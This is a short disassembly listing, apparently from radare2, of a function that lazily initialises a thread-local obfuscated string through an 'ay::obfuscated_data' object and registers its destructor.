mov byte [rbp - 0xf], 0xfe
mov byte [rbp - 0xe], 0xb
mov byte [rbp - 0xd], 0xf6
mov byte [rbp - 0xc], 0x7a
mov byte [rbp - 0xb], 0xd1
mov byte [rbp - 0xa], 0x3d
lea rax, [0x231ec2900]
mov rcx, rax
call dbg.__emutls_get_address
movzx eax, byte [rax]
test al, al
jne 0x231946377
lea rax, [0x231ec2920]
mov rcx, rax
call dbg.__emutls_get_address
mov rcx, rax
lea rax, [rbp - 0x20]
mov rdx, rax
call method.ay::obfuscated_data_23ull__2683511052573843419ull__char_.obfuscated_data_ay::obfuscator_23ull__2683511052573843419ull__char__const_
lea rax, [0x231ec2900]
mov rcx, rax
call dbg.__emutls_get_address
mov byte [rax], 1
lea rax, [0x231ec2920]
mov rcx, rax
call dbg.__emutls_get_address
mov r8d, 0
mov rdx, rax
lea rax, [method.ay::obfuscated_data_23ull__2683511052573843419ull__char_.obfuscated_data__]
mov rcx, rax
call sym.__cxa_thread_atexit
lea rax, [0x231ec2920]
mov rcx, rax
call dbg.__emutls_get_address
add rsp, 0x40
pop rbp
ret